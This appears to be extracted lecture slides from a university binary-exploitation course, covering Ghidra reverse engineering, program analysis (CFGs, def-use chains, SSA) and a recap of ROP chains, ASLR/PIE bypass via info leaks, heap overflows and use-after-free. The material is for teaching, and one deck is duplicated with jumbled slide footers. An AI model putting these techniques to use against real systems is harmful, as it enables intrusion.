ASLR: Enabled
PIE: Enabled
HAVE FUN!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 31
Discussion

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 32
Discussion
• Your approach?

• Tricks?
– Inspect stack around return address
– leave ; ret gadget
– ROP chain from function pointer
– return address of main leaks libc_base!
– Other?

• Tools?
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 33
Discussion
• Advice?
– Get a good hold of conversions!

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 34
Questions

???

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 35
Tools for Exploitation

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 36
Tools for Exploitation

Wargames is an “ideal” world.


In the “real” world:
Binary is much larger than 200-300 lines of code!
No C source!

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 37
Ghidra: https://ghidra-sre.org/
• An open-source reverse engineering tool from the NSA
• Functionality similar to Binary Ninja and IDA

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 38
Ghidra Basics
• Ghidra Project - a collection of binaries and
libraries under analysis
• Ghidra Program - an individual binary under
analysis
• Ghidra Tool - an analysis tool
– Code Browser
• Ghidra Script - a “plugin” we write on top of
Ghidra API, to check for overflows, leaks, other

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 39
Ghidra Basics
• A reverse engineering/decompilation tool
– Builds high-level program representation from
x86 binaries
• A program analysis framework
– Exposes API into program representation
• All the “perks” of program analysis frameworks
– API is huge!
– Not documented!
– Buggy!
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 40
Ghidra Example

CRACKME
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 41
crackme, Ghidra Decompiled
local_1c = 0xf;
sVar2 = _strlen(buf);
if (sVar2 == 0xf) {
local_3c = 0;
pcStack24 = buf;
while (local_3c < local_1c) {
local_38[local_3c] = pcStack24[local_3c] ^ 0x21;
local_3c = local_3c + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
RPISEC - 02/27/2019
10/19/2021
return (int)local_c; ToolsASLR
for MBE 42
After Copy Propagation and
Some Obvious Renaming
len = _strlen(buf);
if (len == 0xf) {
i = 0;
while ( i < 0xf) {
local_38[ i ] = buf[ i ] ^ 0x21;
i = i + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
return (int)local_c;

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 43
Program Analysis Basics
• Intermediate Representations

• Control Flow Graphs (CFG) and Basic Blocks

• Data-flow Analysis and Def-use Chains

• Static Single Assignment Form (SSA Form)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 44
Intermediate Representation
(IR)
• Compiler (roughly):

3-addr Machine
Source AST Code ASM
Code

• Ghidra is a Decompiler:
Machine 3-addr
Code ... Code??? ... Source???
(x86) (PCode)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 45
Three-address Code IR


sum = 0
do 10 i= 1, n
10 sum = sum + a[i]*a[i]

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 46
Three-address Code IR

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 47
Control Flow Graph (CFG)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 48
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));

int number;
scanf("%u", &number);

if (number > bowl_size)


number = bowl_size - 1;

// Copy at most bowl_size characters into the buffer


for (int i=0; i <= number; i++)
{
bowl[i] = ingredients[i];
}
}
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 49
fill_bowl, Ghidra Decompiled
void fill_bowl(char *ingredients,char *bowl,int bowl_size)
{
int local_24, local_20, i, number;
i = bowl_size;
_printf("...",(ulong)(bowl_size - 1U), (ulong)(bowl_size - 1U));
_scanf("%u",&local_20);
if (i < local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 50
return;
fill_bowl
• Our goal: write a Ghidra script that verifies
...

{ local_20 <= bowl_size - 1 }


while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}

If an input violates this condition, find that input

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 51
fill_bowl, IR and CFG

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 52
Ghidra’s Pcode
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD
(stack, 0xffffffffffffffdc, 4) ,
(const, 0x1, 4)
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 53
Ghidra’s Pcode
• Examples due to Alex Bulazel:
https://www.riverloopsecurity.com/blog/2019/05/pcode/

• MOV RAX, RSI becomes RAX = COPY RSI

• SHR RAX, 0x3fbecomes … 30 or so Pcode


statements, also, tracking x86 flags CF, ZF, etc.:
– E.g., CF = INT_OR $U3450, $U3460
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 54
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 55
Program Analysis Basics
• Intermediate Representations

• Control Flow Graphs (CFG) and Basic blocks

• Dataflow Analysis and Def-use Chains

• Static Single Assignment Form (SSA Form)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 56
Dataflow Analysis
• Dataflow analysis collects information about
program execution without running the program
– A form of static analysis
• A powerful framework
– Lots of nice theory behind
– Many different kinds of analysis
• Def-use Chains is the most basic of dataflow
analyses

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 57
Def-use Chains
• Definition: a statement that may change the
value of a variable (e.g., x=y+z is a definition of
x)
• Use: appearance of a variable as an operand of a
3-address statement (e.g., y=x+4 is a use of x)
• A definition (x,k) reaches statement n if there
is a path from k to n free of a definition of x
Note: (x,k) denotes definition of x at stmt k
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 58
Def-use Chains

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 59
Examples of Def-use Chains
• Def-use chains in sum_squares example?

• Def-use chains in fill_bowl example?

• Why do we care about def-use chains?

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 60
Static Single Assignment (SSA
Form)
• Multiple definitions for a given use
• E.g., def-use chains for local_24: (5,6) and (9,6)
• That’s inconvenient!

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 61
SSA Form
• SSA form transforms the 3-address code of a
program so that each variable is defined exactly
once (statically)
• Standard and universally applied technique in
static analysis
• Cytron et al. “Efficiently Computing Static Single
Assignment Form and the Control Dependence
Graph”, TOPLAS 1991

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 62
SSA Form
• Easy case
x = INPUT; x1 = INPUT;
y = x + 10; becomes y = x1 + 10;
x = x + y; x2 = x1 + y
The 2 definitions of x become definitions of x1
and x2 respectively

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 63
Phi-nodes
• If-then-else
if (a>0) if (a>0)
x = 5; x1 = 5;
else becomes else
x = 10; x2 = 10;
x3 = phi(x1,x2)
Phi-node introduces a (static) definition of x, x3.
If control took True arm, then x3 is x1, other-
wise it is x2.
RPISEC - 02/27/2019
10/19/2021 ASLR
Tools for MBE 64
Phi-nodes
• Loops
x = 0; x1 = 0;
x2 = phi(x1,x3)
while (x<=n) while (x2<=n)
x = x + 1; x3 = x2 + 1;

If control took forward edge, x2 is x1;


otherwise, i.e., control took back edge, it is x3.
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 65
fill_bowl Example, in SSA Form
• Now there is a single def-use chain for
local_24_2: (6,7)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 66
Putting it all Together in Ghidra
• Things are pretty nice and straightforward in
theory
• Not so easy in practice

• My favorite quote:
“The difference between theory and practice is
always twice bigger in practice than it is in
theory”
RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 67
Putting it all Together in Ghidra
• Essential classes and methods:
– PcodeOp, Varnode, PcodeBlockBasic
– var.getDef() retrieves definition of var
• Phi-nodes: MULTIEQUAL
(stack, 0xffffffffffffffe0, 4)
MULTIEQUAL
(stack, 0xffffffffffffffe0, 4) ,
(register, 0x0, 4)

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 68
Ghidra Example

VC Script
RPISEC - 02/27/2019
10/19/2021
Demo
ToolsASLR
for MBE 69
Questions

???
My slideshow is truly the longest!

RPISEC - 02/27/2019
10/19/2021 ToolsASLR
for MBE 70
Lecture Selanjutnya
Tools for Binary Exploitation,
part 2
Slides by Ana Milanova

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 1
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/

• Project 1 is due on Friday, Oct 29


• Resubmit of Ch. 2-7 is due on Friday, Oct 29

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 2
Schedule
• I will update Rainbow Grades with Ch. 6 & Ch. 7
after catch-up week next week

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 3
Schedule
• This week is Project and Catch-up week
• Lectures will cover miscellaneous topics of
interest
– We’ll discuss approaches and tricks
– We’ll talk about tools for binary exploitation

• We return to Wargames Chapter 8 next week

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 4
Agenda
1. Tools for binary exploitation (no Wargames in
the real world...)
a. Reverse engineering with Ghidra
b. Program analysis basics
c. Program analysis with Ghidra: Ghidra scripts
2. Discussion and catch-up

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 5
Project 1
wdb> checksec
[*] '/bin/p1_iot'
Arch: x86_64
RELRO: Full RELRO
Stack: Stack Cookie Detected
NX: NX Enabled
ASLR: Enabled
PIE: Enabled
HAVE FUN!
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 6
Tools for Exploitation

Wargames is an “ideal” world.


In the “real” world:
Binary is much larger than 200-300 lines of code!
No C source!

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 7
Ghidra: https://ghidra-sre.org/
• An open-source reverse engineering tool from the NSA
• Functionality similar to Binary Ninja and IDA

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 8
Ghidra Basics
• Ghidra Project - a collection of binaries and
libraries under analysis
• Ghidra Program - an individual binary under
analysis
• Ghidra Tool - an analysis tool
– Code Browser
• Ghidra Script - a “plugin” we write on top of
Ghidra API, detect overflows, leaks, other

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 9
Ghidra Basics
• A reverse engineering/decompilation tool
– Builds high-level program representation from
x86 binaries
• A program analysis framework
– Exposes API into program representation
• All the “perks” of program analysis frameworks
– API is huge!
– Not documented!
– Buggy!
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 10
Ghidra Example

CRACKME
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 11
crackme, Ghidra Decompiled
local_1c = 0xf;
sVar2 = _strlen(buf);
if (sVar2 == 0xf) {
local_3c = 0;
pcStack24 = buf;
while (local_3c < local_1c) {
local_38[local_3c] = pcStack24[local_3c] ^ 0x21;
local_3c = local_3c + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
RPISEC - 02/27/2019
10/26/2021
return (int)local_c; ToolsASLR
for MBE 12
After Copy Propagation and
Some Obvious Renaming
len = _strlen(buf);
if (len == 0xf) {
i = 0;
while ( i < 0xf) {
local_38[ i ] = buf[ i ] ^ 0x21;
i = i + 1;
}
local_c = _strcmp("ycbwkgyucbgfajd",(char *)local_38);
}
else {
_printf("String of incorrect length! Returning...\n");
local_c = 0;
}
return (int)local_c;

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 13
More Reversing Examples
• gcc -o crackme crackme.c
• gcc -o 05_level_3 05_level_3.c
• What about a random sequence of instructions?
– Compile a skeleton try.c:
∘ gcc -S -masm=intel try.c
∘ Creates try.s file in the “right” asm format
– Paste your Intel syntax sequence into try.s
– Compile the asm file
∘ gcc -c -o try try.s
RPISEC ∘ Feed try binaryTools
- 02/27/2019
10/26/2021
into
ASLR Ghidra
for MBE 14
Ghidra Example

REAL CRACKME
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 15
Program Analysis Basics
• Intermediate Representations

• Control Flow Graphs (CFG) and Basic Blocks

• Data-flow Analysis and Def-use Chains

• Static Single Assignment Form (SSA Form)

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 16
Intermediate Representation
(IR)
• Compiler (roughly):

3-addr Machine
Source AST Code ASM
Code

• Ghidra is a Decompiler:
Machine 3-addr
Code ... Code??? ... Source???
(x86) (PCode)

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 17
Three-address Code IR


sum = 0
do 10 i= 1, n
10 sum = sum + a[i]*a[i]

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 18
Three-address Code IR

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 19
Control Flow Graph (CFG)

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 20
fill_bowl Example
void fill_bowl(char* ingredients, char* bowl, int bowl_size)
{
printf("How many ingredients do you want to put in the bowl (max
%u)\n",(bowl_size-1));

int number;
scanf("%u", &number);

if (number > bowl_size)


number = bowl_size - 1;

// Copy at most bowl_size characters into the buffer


for (int i=0; i <= number; i++)
{
bowl[i] = ingredients[i];
}
}
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 21
fill_bowl, Ghidra Decompiled
void fill_bowl(char *ingredients,char *bowl,int bowl_size)
{
int local_24, local_20, i, number;
i = bowl_size;
_printf("...",(ulong)(bowl_size - 1U), (ulong)(bowl_size - 1U));
_scanf("%u",&local_20);
if (i < local_20) {
local_20 = i + -1;
}
local_24 = 0;
while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 22
return;
fill_bowl
• Our goal: write a Ghidra script that verifies
...

{ local_20 <= bowl_size - 1 }


while (local_24 <= local_20) {
bowl[local_24] = ingredients[local_24];
local_24 = local_24 + 1;
}

If an input violates this condition, find that input

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 23
fill_bowl, IR and CFG

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 24
Ghidra’s Pcode
• Pcode is, essentially, a 3-address code IR
– Reversed from binary, much lower level
• Varnode - a “variable”
– a register, stack location, constant, other
– E.g., (stack, 0xffffffffffffffe0, 4)
• PcodeOp - a 3-address statement
– E.g., (register, 0x0, 4) INT_ADD
(stack, 0xffffffffffffffdc, 4) ,
(const, 0x1, 4)
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 25
Ghidra’s Pcode
• Examples due to Alex Bulazel:
https://www.riverloopsecurity.com/blog/2019/05/pcode/

• MOV RAX, RSI becomes RAX = RSI

• SHR RAX, 0x3f becomes … 30 or so Pcode


statements, also, tracking x86 flags CF, ZF, etc.:
– E.g., CF = INT_OR $U3450, $U3460
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 26
Program Analysis Basics
• Intermediate Representations

• Control Flow Graphs (CFG) and Basic blocks

• Dataflow Analysis and Def-use Chains

• Static Single Assignment Form (SSA Form)

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 27
Dataflow Analysis
• Dataflow analysis collects information about
program execution without running the program
– A form of static analysis
• A powerful framework
– Lots of nice theory behind
– Many different kinds of analysis
• Def-use Chains is the most basic of dataflow
analyses

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 28
Def-use Chains
• Definition: a statement that may change the
value of a variable (e.g., x=y+z is a definition of
x)
• Use: appearance of a variable as an operand of a
3-address statement (e.g., y=x+4 is a use of x)
• A definition (x,k) reaches statement n if there
is a path from k to n free of a definition of x
Note: (x,k) denotes definition of x at stmt k
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 29
Def-use Chains

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 30
Examples of Def-use Chains
• Def-use chains in sum_squares example?

• Def-use chains in fill_bowl example?

• Why do we care about def-use chains?

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 31
Static Single Assignment (SSA
Form)
• Multiple definitions for a given use
• E.g., def-use chains for local_24: (5,6) and (9,6)
• That’s inconvenient!

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 32
SSA Form
• SSA form transforms the 3-address code of a
program so that each variable is defined exactly
once (statically)
• Standard and universally applied technique in
static analysis
• Cytron et al. “Efficiently Computing Static Single
Assignment Form and the Control Dependence
Graph”, TOPLAS 1991

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 33
SSA Form
• Easy case
x = INPUT; x1 = INPUT;
y = x + 10; becomes y = x1 + 10;
x = x + y; x2 = x1 + y
The 2 definitions of x become definitions of x1
and x2 respectively

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 34
Phi-nodes
• If-then-else
if (a>0) if (a>0)
x = 5; x1 = 5;
else becomes else
x = 10; x2 = 10;
x3 = phi(x1,x2)
Phi-node introduces a (static) definition of x, x3.
If control took True arm, then x3 is x1, other-
wise it is x2.
RPISEC - 02/27/2019
10/26/2021 ASLR
Tools for MBE 35
Phi-nodes
• Loops
x = 0; x1 = 0;
x2 = phi(x1,x3)
while (x<=n) while (x2<=n)
x = x + 1; x3 = x2 + 1;

If control took forward edge, x2 is x1;


otherwise, i.e., control took back edge, it is x3.
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 36
fill_bowl Example, in SSA Form
• Now there is a single def-use chain for
local_24_2: (6,7)

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 37
Putting it all Together in Ghidra
• Things are pretty nice and straightforward in
theory
• Not so easy in practice

• My favorite quote:
“The difference between theory and practice is
always twice bigger in practice than it is in
theory”
RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 38
Putting it all Together in Ghidra
• Essential classes and methods:
– PcodeOp, Varnode, PcodeBlockBasic
– var.getDef() retrieves definition of var
• Phi-nodes: MULTIEQUAL
(stack, 0xffffffffffffffe0, 4)
MULTIEQUAL
(stack, 0xffffffffffffffe0, 4) ,
(register, 0x0, 4)

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 39
Ghidra Example

VC Script
RPISEC - 02/27/2019
10/26/2021
Demo
ToolsASLR
for MBE 40
Questions

???
My slideshow is truly the longest!

RPISEC - 02/27/2019
10/26/2021 ToolsASLR
for MBE 41
Lecture Selanjutnya
Heap Exploitation

Slides by RPISEC, Ana Milanova, and Brian


Callahan

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 1
Announcement
• RPISEC Hack Night is back!

• 6 PM on Wednesdays in Walker 5113

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 2
Schedule
• https://www.cs.rpi.edu/~milanova/csci4967/

• Check Rainbow Grades

• We return to Wargames Chapter 8


• Chapter 8 (Heap) labs this week

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 3
Agenda
1. Recap
a. Memory corruption and shellcoding
b. DEP and ROP
c. ASLR and PIE
2. Heap vulnerabilities
a. Heap
b. Heap overflows
c. Use-after-free (UAF)

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 4
Recap

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 5
DEP/NX/W^X (This is always on unless you’re running on a potato)

Attack: Shellcode

Defense: Data is mapped No eXecute


aka DEP (Data Execution Prevention)
aka W^X (Write xor eXecute)
- memory regions are marked writeable or executable,
not both
No more shellcode!

RPISEC - 2/27/2019
10/21/2019
11/02/2021 ASMR
ToolsHeap
for MBE 6
Runtime Memory

Memory Segments .text

.rodata
• Program Code (Read and Execute) .data
– .text
– libraries
• User Data (Read and Write) [heap]

– stack
– heap
– .data

libraries
(libc…)

[stack]
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 7
Return Oriented Programming (ROP)

• Attack: ROP
• Code reuse
– String together existing code to do what we want, a few instructions
at a time
– Gadgets: small bits of code ending in a ret
– Gadgets in user binary add rax, 0x4
– Gadgets in libraries, also, functions system, gets ret

pop rax pop rbx xchg rsp, rax


ret pop rdx ret
syscall
ret

RPISEC - 2/27/2019
10/21/2019
11/02/2021 ASMR
ToolsHeap
for MBE 8
Return Oriented Programming (ROP)

Now with ROP:


pop rdi 0x401d70
rax: ? pop rax
ret 0x489864 -> “/bin/sh”
rdi: ?
0x3b
rsi: ?
0x400590
rdx: ? pop rsi
0x0
pop rdx
syscall ret
0x0

0x455e55

syscall

RPISEC - 2/27/2019
10/21/2019
11/02/2021 ASMR
ToolsHeap
for MBE 9
ASLR
• Defense: Address Space Layout Randomization
• A runtime mitigation used to ensure that address
ranges for important memory segments are
random for every execution
– CAKE: stack, heap, and libraries are placed at different
base address every time you launch the binary; Binary
itself remains at fixed location across launches
– PIE: binary compiled such that its base address is
relocated every time you launch the binary

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 10
Defeating ASLR and PIE: Leaks
• We need an additional vulnerability!
• Info leaks leak data from runtime to the user
unintentionally
• Info leaks can help find base addresses randomized by
ASLR and PIE

RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 11
Defeating ASLR and PIE
• Step 1: Find an info leak
– printf(“libc exit function @ %p\n” &exit): … 0x7f2f8a497030
– libc_base = 0x7f2f8a497030-0x3a030
(0x3a030 is the constant offset, i.e., relative address, of exit in libc)
– printf(“do_func function @ %p\n” &do_function): … 0x55b436ced972
– user_base = 0x55b436ced972-0x1972
(0x1972 is the constant offset of do_funcion in binary)
• Step 2: Find space we control
• Step 3: Build ropchain (but first, check if system is
available!)
RPISEC - 02/27/2019
11/02/2021 ASLR
Heap 12
Heap

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 13
Heap
• That weird thing that we use with malloc or ...

• A pool of memory used for dynamic memory allocation


at runtime

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 14
Runtime Memory

Runtime Memory .text

.rodata
• Static memory .data
– .rodata, .data, other
– Lifetime of data allocated in static memory?
[heap]

• Stack memory
– [stack], grows up, addresses grow down
– Lifetime of data allocated on the stack?
libraries
(libc…)
• Heap memory
– [heap], grows down, addresses grow up
[stack]
– Lifetime?
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 15
Heap vs. Stack
Heap Stack

● Dynamic memory allocations at ● Fixed memory allocations known at


runtime compile time

● Large buffers, linked dynamic ● Local variables, function arguments,


structures return addresses

● Slow, “Manual” ● Fast, “Automatic”


○ Done by the programmer ○ Done by the compiler
○ malloc/calloc/free ○ “Hides away” allocation and
○ new/delete deallocation of memory

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 16
Heap vs. Stack
Stack:
• char buffer[32] = {};

Heap:
• char * buffer = malloc(32);

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 17
Java vs. C++
A a;
a.m();

• What happens in Java?


• What happens in C++?

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 18
Java vs. C++
• In C++ object creation may be implicit
– C++ requires that an appropriate constructor is called
for every object implicitly created on the stack, e.g.,
foo a;
– foo a; compiler calls 0-argument constructor
foo::foo()
– foo a(10,’x’); compiler calls 2-argument
constructor foo::foo(int,char)
• In Java, object creation is explicit: foo a =
new foo()
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 19
But what is malloc?
• As Cutler told us it’s this magic place with space given to
us
• Cutler said not to worry about it too much

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 20
Heap Allocation ...

1024 bytes
• We call malloc(1024)
• Then we call some more:
• malloc(4096) 4096 bytes
• malloc(1024)
• Grows towards upper memory
(DOWN on picture) 1024 bytes

Heap

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 21
Heap Allocation ...

Heap

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 22
Heap Allocation ...

1024 bytes
• We call malloc(1024) ...
Heap

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 23
Heap Allocation ...

1024 bytes
• We call malloc(1024)
• Then we call some more:
• malloc(4096) 4096 bytes
• malloc(1024)

1024 bytes

Heap

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 24
Deallocation ...

1024 bytes
• We can free(p) the 4096
• Got this freed block in the middle
• There are many heap implementations 4096 byte
hole (freed)
– Might do this differently

• If we malloc(4096), we are likely 1024 bytes


to get that same 4096 byte chunk
Heap
– Again, implementations may do this differently

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 25
Deallocation

• buffer = malloc(len);
...
• free(buffer);

vs.

• buffer = malloc(len);
...
• free(buffer);
• buffer = NULL;

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 26
Heap on Wargames

RPISEC - 02/20/2019
11/02/2021 Heap 27
Lessons
• Reuse of heap space
x = malloc(n);
free(x)
y = malloc(n); // likely to reuse space of first malloc

• Partial initialization
– free nulls first 8 bytes but leaves data in rest of buffer

RPISEC - 02/20/2019
11/02/2021 Heap 28
Buffer Overflows

Again

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 29
Buffer Overflows ...

AAAAAAAAAAAAAAAA
• Just like with the stack we may overflow AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
a buffer on the heap, e.g., use gets AAAAAAAAAAAAAAAA
...
4096Overflow
Heap bytes
struct A { 1024 bytes
char name[16];
void (*func)();
} ; 1024 bytes
struct A *p = malloc(sizeof(struct A));
Heap
p->func = ...
gets(p->name);

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 30
Buffer Overflows ...

AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
• Just like with stack we may AAAAAAAAAAAAAAAA
overflow a buffer AAAAAAAAAAAAAAAA
...
4096Overflow
Heap bytes
1024 bytes
• Unfortunately, there is no return
address
1024 bytes

• But there is still a lot of good stuff Heap


there (metadata, pointers, other
blocks, …)
RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 31
Overflows on Wargames

RPISEC - 02/20/2019
11/02/2021 Heap 32
Use-After-Free (UAF)

The best and biggest bug

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 33
UAF
• These are everywhere
• Probably some of the most common type of bug today

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 34
UAF
• A bug where memory is accessed via a pointer, after it has
been freed

• A dangling pointer
x = malloc(n); … free(x); … … x->f …
• A dangerous pointer (type confusion)
x = malloc(n); … free(x); … y = malloc(n)
… use y …

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 35
UAF
• Remember when we were talking about that pesky free
• Well, in some cases people forget to clear the pointer to
the region that was just freed…
• If free too early you might end up with a dangling
pointer
– Code may try to use that pointer after it has been freed

– Probably has caused many crashes for you in the past!


– Told "Always NULL out your pointers after freeing!"

RPISEC - 03/13/2019
11/04/2019
11/02/2021 Heap
Heap 36
Doing it Wrong
• Why are dangling pointers so bad?
– Or rather, why do they “work” sometimes
– And they crash other times

• Time to look at the simplified heap

RPISEC - 3/13/2019
11/02/2021 Heap 37
Heaps of Fun

• At a high level we can think of the heap as blocks of


memory

Free Free Free Free Free Free

• When we malloc() we claim one of the blocks:

Apple Free Free Free Free Free

RPISEC - 3/13/2019
11/02/2021 Heap 38
Heaps of Fun
• We get a pointer to this block

Apple Free Free Free Free Free

struct fruit * a;

RPISEC - 3/13/2019
11/02/2021 Heap 39
Heaps of Fun
• When we free(a) the block gets freed up

Free Free Free Free Free Free

struct fruit * a;

• But our pointer still points to the free chunk


– a is a dangling pointer
• We need to make sure we don't use a again
RPISEC - 3/13/2019
11/02/2021 Heap 40
Heaps of Fun
• However, just because it is free doesn't mean it is empty
– The data (most of it anyways) is still there, just marked as free

Apple
Free Free Free Free Free Free

struct fruit* a;
• That's why sometimes it still works

RPISEC - 3/13/2019
11/02/2021 Heap 41
Dangerous Pointers
• Here are multiple objects on the heap
struct fruit* apple = malloc(sizeof(struct fruit))
struct fruit* orange = malloc(sizeof(struct fruit))

Apple Orange Free Free Free Free

fruit* fruit*
apple; orange;

RPISEC - 3/13/2019
11/02/2021 Heap 42
Dangerous Pointers
• What if we free the apple first?
struct fruit* apple = malloc(sizeof(struct fruit))
free(apple);
struct fruit* orange = malloc(sizeof(struct fruit))

Apple
Free Free Free Free Free Free

fruit*
apple;

RPISEC - 3/13/2019
11/02/2021 Heap 43
Dangerous Pointers
• What if we free the apple first?
struct fruit* apple = malloc(sizeof(struct fruit))
free(apple);
struct fruit* orange = malloc(sizeof(struct fruit))

Orange
Orange Free Free Free Free Free

● Both apple and orange point to the


fruit* fruit* orange!
apple; orange; ● Program “thinks” apple is still an apple

RPISEC - 3/13/2019
11/02/2021 Heap 44
UAF on Wargames

RPISEC - 02/20/2019
11/02/2021 Heap 45
Questions?

RPISEC - 02/20/2019
